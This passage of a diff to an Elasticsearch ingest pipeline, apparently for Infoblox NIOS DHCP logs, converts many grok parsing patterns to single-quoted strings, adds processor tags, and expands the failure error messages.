+ - '^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{DATA:infoblox_nios.log.dhcp.uid}: %{GREEDYDATA:infoblox_nios.log.dhcp.request.message}$'
+ - '^%{WORD:event.action} for %{IP:client.ip} \(%{IP:infoblox_nios.log.dhcp.router.ip}\) from %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$'
+ - '^%{WORD:event.action} for %{IP:client.ip} \(%{IP:infoblox_nios.log.dhcp.router.ip}\) from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} \(%{GREEDYDATA:infoblox_nios.log.dhcp.lease.message}\)$'
+ - '^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{DATA:infoblox_nios.log.dhcp.uid} \(%{GREEDYDATA:infoblox_nios.log.dhcp.lease.message}\)$'
+ - '^%{WORD:event.action} for %{IP:client.ip} \(%{IP:infoblox_nios.log.dhcp.router.ip}\) from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id}: %{GREEDYDATA:infoblox_nios.log.dhcp.request.message}$'
+ - '^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id}: %{GREEDYDATA:infoblox_nios.log.dhcp.request.message}$'
+ - '^%{WORD:event.action} for %{IP:client.ip} \(%{IP:infoblox_nios.log.dhcp.router.ip}\) from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$'
+ - '^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$'
+ - '^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$'
+ - '^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name})$'
+ - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$'
- grok:
+ tag: grok_DHCPACK_message
field: message
if: ctx.message.contains('DHCPACK')
patterns:
- - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{NUMBER:infoblox_nios.log.dhcp.offered.duration:long} \\(%{DATA:infoblox_nios.log.dhcp.message}\\) uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$"
- - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{NUMBER:infoblox_nios.log.dhcp.offered.duration:long} \\(%{DATA:infoblox_nios.log.dhcp.message}\\) uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$"
- - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} \\(%{DATA:infoblox_nios.log.dhcp.lease.message}\\) uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$"
- - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{NUMBER:infoblox_nios.log.dhcp.offered.duration:long} \\(%{DATA:infoblox_nios.log.dhcp.message}\\)$"
- - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} \\(%{DATA:infoblox_nios.log.dhcp.lease.message}\\) uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$"
- - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} \\(%{DATA:infoblox_nios.log.dhcp.lease.message}\\)$"
- - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} \\(%{GREEDYDATA:infoblox_nios.log.dhcp.lease.message}\\)$"
- - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$"
- - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{GREEDYDATA:infoblox_nios.log.dhcp.lease.duration:long}$"
- - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$"
- - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{GREEDYDATA:infoblox_nios.log.dhcp.lease.duration:long}$"
- - "^%{WORD:event.action} to %{IP:client.ip} \\(%{MAC:client.mac}\\) via %{WORD:observer.ingress.interface.name}$"
- - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$"
+ - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{NUMBER:infoblox_nios.log.dhcp.offered.duration:long} \(%{DATA:infoblox_nios.log.dhcp.message}\) uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$'
+ - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{NUMBER:infoblox_nios.log.dhcp.offered.duration:long} \(%{DATA:infoblox_nios.log.dhcp.message}\) uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$'
+ - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} \(%{DATA:infoblox_nios.log.dhcp.lease.message}\) uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$'
+ - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} (?:\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) )?via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{NUMBER:infoblox_nios.log.dhcp.offered.duration:long} \(%{DATA:infoblox_nios.log.dhcp.message}\)$'
+ - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} \(%{DATA:infoblox_nios.log.dhcp.lease.message}\) uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$'
+ - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} \(%{DATA:infoblox_nios.log.dhcp.lease.message}\)$'
+ - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} \(%{GREEDYDATA:infoblox_nios.log.dhcp.lease.message}\)$'
+ - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$'
+ - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{GREEDYDATA:infoblox_nios.log.dhcp.lease.duration:long}$'
+ - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$'
+ - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{GREEDYDATA:infoblox_nios.log.dhcp.lease.duration:long}$'
+ - '^%{WORD:event.action} to %{IP:client.ip} \(%{MAC:client.mac}\) via %{WORD:observer.ingress.interface.name}$'
+ - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$'
- grok:
+ tag: grok_RELEASE_message
field: message
if: ctx.message.contains('RELEASE')
patterns:
- - "^%{WORD:event.action} of %{IP:client.ip} from %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) \\(%{DATA:infoblox_nios.log.dhcp.release.info}\\) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$"
- - "^%{WORD:event.action} of %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) \\(%{DATA:infoblox_nios.log.dhcp.release.info}\\) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$"
- - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac}$"
- - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$"
+ - '^%{WORD:event.action} of %{IP:client.ip} from %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) \(%{DATA:infoblox_nios.log.dhcp.release.info}\) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$'
+ - '^%{WORD:event.action} of %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) \(%{DATA:infoblox_nios.log.dhcp.release.info}\) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$'
+ - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac}$'
+ - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$'
- grok:
+ tag: grok_DHCPEXPIRE_message
field: message
if: ctx.message.contains('DHCPEXPIRE')
patterns:
- - "^%{WORD:event.action} on %{IP:client.ip} to %{GREEDYDATA:client.mac}$"
- - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$"
+ - '^%{WORD:event.action} on %{IP:client.ip} to %{GREEDYDATA:client.mac}$'
+ - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$'
- grok:
+ tag: grok_DHCPINFORM_message
field: message
if: ctx.message.contains('DHCPINFORM')
patterns:
- - "^%{WORD:event.action} from %{IP:client.ip} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id}: %{GREEDYDATA:infoblox_nios.log.dhcp.inform.message}$"
- - "^%{WORD:event.action} from %{IP:client.ip} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$"
- - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$"
+ - '^%{WORD:event.action} from %{IP:client.ip} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id}: %{GREEDYDATA:infoblox_nios.log.dhcp.inform.message}$'
+ - '^%{WORD:event.action} from %{IP:client.ip} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$'
+ - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$'
- grok:
+ tag: grok_DHCPDECLINE_message
field: message
if: ctx.message.contains('DHCPDECLINE')
patterns:
- - "^%{WORD:event.action} of %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id}: %{GREEDYDATA:infoblox_nios.log.dhcp.decline.message}$"
- - "^%{WORD:event.action} of %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}): %{GREEDYDATA:infoblox_nios.log.dhcp.decline.message}$"
- - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$"
+ - '^%{WORD:event.action} of %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id}: %{GREEDYDATA:infoblox_nios.log.dhcp.decline.message}$'
+ - '^%{WORD:event.action} of %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}): %{GREEDYDATA:infoblox_nios.log.dhcp.decline.message}$'
+ - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$'
- grok:
+ tag: grok_DHCPNAK_message
field: message
if: ctx.message.contains('DHCPNAK')
patterns:
- - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name})$"
- - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$"
+ - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name})$'
+ - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$'
- grok:
+ tag: grok_DHCPLEASEQUERY_message
field: message
if: ctx.message.contains('DHCPLEASEQUERY')
patterns:
- - "^%{WORD:event.action} from %{IP:client.ip}: %{GREEDYDATA:infoblox_nios.log.dhcp.lease_query.message}$"
- - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$"
+ - '^%{WORD:event.action} from %{IP:client.ip}: %{GREEDYDATA:infoblox_nios.log.dhcp.lease_query.message}$'
+ - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$'
- grok:
+ tag: grok_REFUSED_message
field: message
if: ctx.message.contains('REFUSED')
patterns:
- - "^%{REVERSE_UPDATE:event.action} for %{IP:client.ip} abandoned because of non-retryable failure: %{DATA:event.outcome}$"
- - "^Unable to %{ADD_FORWARD:event.action} from %{DATA:infoblox_nios.log.dhcp.forward_name} to %{IP:infoblox_nios.log.dhcp.ip} by server %{IP:server.ip}#%{NUMBER:server.port:long}: %{DATA:event.outcome}$"
- - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$"
+ - '^%{REVERSE_UPDATE:event.action} for %{IP:client.ip} abandoned because of non-retryable failure: %{DATA:event.outcome}$'
+ - '^Unable to %{ADD_FORWARD:event.action} from %{DATA:infoblox_nios.log.dhcp.forward_name} to %{IP:infoblox_nios.log.dhcp.ip} by server %{IP:server.ip}#%{NUMBER:server.port:long}: %{DATA:event.outcome}$'
+ - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$'
pattern_definitions:
ADD_FORWARD: (?i:add forward map)
REVERSE_UPDATE: (?i:reverse map update)
@@ -119,40 +130,46 @@ processors:
value: failure
if: ctx.event?.outcome?.equalsIgnoreCase('refused') == true
- grok:
+ tag: grok_Encapsulated_Solicit_message
field: message
if: ctx.message.contains('Encapsulated Solicit')
patterns:
- - "^%{DATA:event.action} message from %{IP:client.ip} port %{NUMBER:client.port:long} from client DUID %{GREEDYDATA:infoblox_nios.log.dhcp.duid}, transaction ID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$"
- - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$"
+ - '^%{DATA:event.action} message from %{IP:client.ip} port %{NUMBER:client.port:long} from client DUID %{GREEDYDATA:infoblox_nios.log.dhcp.duid}, transaction ID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$'
+ - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$'
- grok:
+ tag: grok_Advertise_NA_message
field: message
if: ctx.message.contains('Advertise NA')
patterns:
- - "^%{DATA:event.action}: address %{IP:client.ip} to client with duid %{GREEDYDATA:infoblox_nios.log.dhcp.duid} iaid = -%{GREEDYDATA:infoblox_nios.log.dhcp.iaid} valid for %{NUMBER:infoblox_nios.log.dhcp.validation_second:long} seconds$"
- - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$"
+ - '^%{DATA:event.action}: address %{IP:client.ip} to client with duid %{GREEDYDATA:infoblox_nios.log.dhcp.duid} iaid = -%{GREEDYDATA:infoblox_nios.log.dhcp.iaid} valid for %{NUMBER:infoblox_nios.log.dhcp.validation_second:long} seconds$'
+ - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$'
- grok:
+ tag: grok_Relay_forward_message
field: message
if: ctx.message.contains('Relay-forward')
patterns:
- - "^%{DATA:event.action} message from %{IP:client.ip} port %{NUMBER:client.port:long}, link address %{IP:infoblox_nios.log.dhcp.link_address}, peer address %{IP:infoblox_nios.log.dhcp.peer_address}$"
- - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$"
+ - '^%{DATA:event.action} message from %{IP:client.ip} port %{NUMBER:client.port:long}, link address %{IP:infoblox_nios.log.dhcp.link_address}, peer address %{IP:infoblox_nios.log.dhcp.peer_address}$'
+ - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$'
- grok:
+ tag: grok_Encapsulating_Advertise_message
field: message
if: ctx.message.contains('Encapsulating Advertise')
patterns:
- - "^%{DATA:event.action} message to send to %{IP:client.ip} port %{NUMBER:client.port:long}$"
- - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$"
+ - '^%{DATA:event.action} message to send to %{IP:client.ip} port %{NUMBER:client.port:long}$'
+ - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$'
- grok:
+ tag: grok_Sending_Relay_reply_message
field: message
if: ctx.message.contains('Sending Relay-reply')
patterns:
- - "^%{DATA:event.action} message to %{IP:client.ip} port %{NUMBER:client.port:long}$"
- - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$"
+ - '^%{DATA:event.action} message to %{IP:client.ip} port %{NUMBER:client.port:long}$'
+ - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$'
- grok:
+ tag: grok_fallback_message
field: message
if: ctx.event?.action == null
patterns:
- - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$"
+ - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$'
- lowercase:
field: event.action
ignore_failure: true
@@ -166,6 +183,7 @@ processors:
field: client.mac
ignore_missing: true
- convert:
+ tag: convert_client_ip
field: client.ip
if: ctx.client?.ip != null && ctx.client.ip != ''
type: ip
@@ -176,7 +194,11 @@ processors:
ignore_missing: true
- append:
field: error.message
- value: '{{{_ingest.on_failure_message}}}'
+ value: >-
+ Processor '{{{ _ingest.on_failure_processor_type }}}'
+ {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}'
+ {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}}
+ failed with message '{{{ _ingest.on_failure_message }}}'
- append:
field: related.ip
value: '{{{client.ip}}}'
@@ -184,6 +206,7 @@ processors:
allow_duplicates: false
ignore_failure: true
- convert:
+ tag: convert_dhcp_link_address
field: infoblox_nios.log.dhcp.link_address
if: ctx.infoblox_nios?.log?.dhcp?.link_address != null && ctx.infoblox_nios.log.dhcp.link_address != ''
type: ip
@@ -194,7 +217,11 @@ processors:
ignore_missing: true
- append:
field: error.message
- value: '{{{_ingest.on_failure_message}}}'
+ value: >-
+ Processor '{{{ _ingest.on_failure_processor_type }}}'
+ {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}'
+ {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}}
+ failed with message '{{{ _ingest.on_failure_message }}}'
- append:
field: related.ip
value: '{{{infoblox_nios.log.dhcp.link_address}}}'
@@ -202,6 +229,7 @@ processors:
allow_duplicates: false
ignore_failure: true
- convert:
+ tag: convert_dhcp_peer_address
field: infoblox_nios.log.dhcp.peer_address
if: ctx.infoblox_nios?.log?.dhcp?.peer_address != null && ctx.infoblox_nios.log.dhcp.peer_address != ''
type: ip
@@ -212,7 +240,11 @@ processors:
ignore_missing: true
- append:
field: error.message
- value: '{{{_ingest.on_failure_message}}}'
+ value: >-
+ Processor '{{{ _ingest.on_failure_processor_type }}}'
+ {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}'
+ {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}}
+ failed with message '{{{ _ingest.on_failure_message }}}'
- append:
field: related.ip
value: '{{{infoblox_nios.log.dhcp.peer_address}}}'
@@ -220,6 +252,7 @@ processors:
allow_duplicates: false
ignore_failure: true
- convert:
+ tag: convert_dhcp_router_ip
field: infoblox_nios.log.dhcp.router.ip
if: ctx.infoblox_nios?.log?.dhcp?.router?.ip != null && ctx.infoblox_nios.log.dhcp.router.ip != ''
type: ip
@@ -230,7 +263,11 @@ processors:
ignore_missing: true
- append:
field: error.message
- value: '{{{_ingest.on_failure_message}}}'
+ value: >-
+ Processor '{{{ _ingest.on_failure_processor_type }}}'
+ {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}'
+ {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}}
+ failed with message '{{{ _ingest.on_failure_message }}}'
- append:
field: related.ip
value: '{{{infoblox_nios.log.dhcp.router.ip}}}'
@@ -238,6 +275,7 @@ processors:
allow_duplicates: false
ignore_failure: true
- convert:
+ tag: convert_dhcp_interface_ip
field: infoblox_nios.log.dhcp.interface.ip
if: ctx.infoblox_nios?.log?.dhcp?.interface?.ip != null && ctx.infoblox_nios.log.dhcp.interface.ip != ''
type: ip
@@ -248,7 +286,11 @@ processors:
ignore_missing: true
- append:
field: error.message
- value: '{{{_ingest.on_failure_message}}}'
+ value: >-
+ Processor '{{{ _ingest.on_failure_processor_type }}}'
+ {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}'
+ {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}}
+ failed with message '{{{ _ingest.on_failure_message }}}'
- append:
field: related.ip
value: '{{{infoblox_nios.log.dhcp.interface.ip}}}'
@@ -256,6 +298,7 @@ processors:
allow_duplicates: false
ignore_failure: true
- convert:
+ tag: convert_dhcp_relay_interface_ip
field: infoblox_nios.log.dhcp.relay.interface.ip
if: ctx.infoblox_nios?.log?.dhcp?.relay?.interface?.ip != null && ctx.infoblox_nios.log.dhcp.relay.interface.ip != ''
type: ip
@@ -266,7 +309,11 @@ processors:
ignore_missing: true
- append:
field: error.message
- value: '{{{_ingest.on_failure_message}}}'
+ value: >-
+ Processor '{{{ _ingest.on_failure_processor_type }}}'
+ {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}'
